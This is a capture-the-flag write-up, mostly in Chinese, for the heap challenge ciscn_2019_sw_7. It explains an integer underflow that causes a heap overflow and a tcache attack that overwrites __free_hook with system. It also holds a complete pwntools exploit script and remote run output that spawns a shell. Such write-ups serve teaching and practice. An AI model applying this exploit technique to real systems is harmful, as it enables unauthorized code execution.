0x0 Checksec1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
0x1 Reverse Enginnering该程序的漏洞点在New Note
操作时, 若输入的Note size
为0
时,判定语句产生Integer Underflow
;使得,Note Content
可绕过size
的判断而输入任意
长度的内容;进而产生Heap Overflow
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned __int64 __fastcall sub_A60 (char *outBuffer, __int64 size, char endChar) { char buf; unsigned __int64 i; ssize_t v7; char *outBuffer_; unsigned __int64 v9; v9 = __readfsqword(0x28 u); v7 = 0LL ; outBuffer_ = outBuffer; for ( i = 0LL ; size - 1 > i; ++i ) { v7 = read(0 , &buf, 1uLL ); if ( v7 <= 0 ) exit (1 ); if ( buf == endChar ) break ; outBuffer_[i] = buf; } outBuffer_[i] = 0 ; return i; }
0x2 Analyze攻击过程
新增Note A
, 使A->size = 0
,从而chunk_A->size = 0x20
,它在heap
最上边。 新增9个Note, BCDE FGHI J
, 它们的size = 0x40
, 从而它们chunk->size = 0x50
,依次在chunk A
的下方邻近排列 通过A
实施heap overflow attack
,篡改B_DE FGHI J
的chunk->size
为0xa0
,即原本0x50
的二倍。从而B_DE FGHI J
都会覆盖后面的chunk
一部分。 逆序释放BCDE FGHI J
, 即先后按J IHGF EDCB
的顺序释放9个chunk
. 实际上,主要J
必须释放到T-cache
中不能释放到unsorted bin
中,否则会被其后紧邻的top chunk
吃掉(forward consolidate
); B
最好释放到unsorted bin
中,这样通过A
进行篡改会更加方便。 此时的堆布局: // // T-cache // 0xa0: D->E->F->G->H->I->J // 0x50: C // unsortedbin: B(0xa0) //
实际上,chunk C
是完全被chunk B
覆盖的。 5. 将C
新增成为Note
(将会消耗点T-cache 0x50 bin : C
);之后再次申请0x50 size
的chunk
, 这时由于T-cache
中已经无0x50
的chunk
,在unsorted bin
中有0xa0
的chunk
,将会触发malloc remaindering
, 即将unsortedbin: B(0xa0)
分割出来一个0x50
的chunk
给当前的请求。剩下的remainder
部分放回unsorted bin
中。请求分配出去的部分,成为New Note B
, 而放回到unsorted bin
的部分,恰好和C Note
重叠。这样通过读取Note C
的内容,就可以leak
unsorted bin ->fd (即 &main_arena->top_chunk )
. 6. 读C
内容,并计算出libc
的偏移。 7. 将chunk B
释放到T-cache 0x50 bin
中。 8. 通过note A
修改B->fd
为__free_hook
的地址。这将会把__free_hook
所处内存块加入到t-cache
链中。 9. 申请两次chunk-size = 0x50
的note
, 那么第二次的memory chunk
即为__free_hook
的chunk
,修改_free_hook
的值为system
函数地址. 10. free
一个/bin/sh\0
的内存chunk
,即可获取shell
.
0x3 Exploit Code1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 from pwn import *from LibcSearcher import *context.clear(arch='amd64' , os='linux' ) elf = context.binary = ELF("bin" ) libc = elf.libc context.terminal = ["tmux" , "split" , "-h" ] if args.LOG: context.log_level = 'debug' gs = ''' set breakpoint pending on b system # b *0x555555400BD3 continue ''' def start (): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('node4.buuoj.cn' , 27251 ) else : return process(elf.path) sla = lambda a, b: io.sendlineafter(a, b) sa = lambda a, b: io.sendafter(a, b) rl = lambda : io.recvline() sl = lambda data: io.sendline(data) noteID = [0 ]*10 def addNote (size, content ): global noteID sl(b'1' ) sla(b'size of note:' , str (size).encode()) sla(b"content of note:" , content) io.recvuntil(b"What's this?[" ) offset = io.recvuntil(b"]\n" ,drop=True ) id = 0 for i in range (len (noteID)): if noteID[i] == 0 : noteID[i] = int (offset, 16 ) id = i break return id def showNote (id ): sl(b'2' ) sla(b'Index:' , str (id ).encode()) io.recvuntil( b" : " ) return io.recvuntil(b"\nDone." ,drop=True ) def freeNote (id ): global noteID sl(b'4' ) sla(b'Index:' , str (id ).encode()) noteID[id ] = 0 io = start() io.timeout = 3000 A = addNote(0 , b'A' *0x10 ) nlst = [addNote(0x40 , b'Note' ) for i in range (9 )] freeNote(A) Actn = 2 *p64(0 ) + p64(0xa1 ) + (9 *p64(0 ) + p64(0x51 )) + 7 *(9 *p64(0 ) + p64(0xa1 )) + p64(0 )*2 A = addNote(0 , Actn) nlst.reverse() [freeNote(i) for i in nlst] C = addNote(0x40 , b'C' *0x10 ) B = addNote(0x40 , b'B' ) Cctn = showNote(C) log.info('Cctn: {}' .format (Cctn)) arena = u64(Cctn.ljust(8 , p8(0 ))) - 0x60 log.info('arena: {}' .format (hex (arena))) libc.address = arena - (libc.sym.__malloc_hook + 0x10 ) log.success('libc.address: {}' .format (hex (libc.address))) freeNote(B) freeNote(A) Actn = 16 *b'a' + p64(0x51 ) + p64(libc.sym.__free_hook - 8 ) A = addNote(0 , Actn) freeNote(A) B = addNote(0x40 , b'B' ) freeHookMem = addNote(0x40 , p64(libc.sym.system)) Actn = 16 *b'a' + p64(0x51 ) + b'/bin/sh\0' A = addNote(0 , Actn) freeNote(B) time.sleep(0.1 ) sl(b'cat flag' ) flag = rl() log.info('flag: {}' .format (flag)) io.close()
0x4 Output Example1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ╰─$ python xpl.py REMOTE [*] 'ciscn_2019_sw_7/bin' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] 'libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to node4.buuoj.cn on port 27251: Done [*] Cctn: b'\xa0,\xe3\xcf\x8d\x7f' [*] arena: 0x7f8dcfe32c40 [+] libc.address: 0x7f8dcfa47000 [*] flag: b'flag{d0bc3973-****-40d6-****-984b84217efa}\n' [*] Closed connection to node4.buuoj.cn port 27251
0x5 The Challengehttps://buuoj.cn/challenges#ciscn_2019_sw_7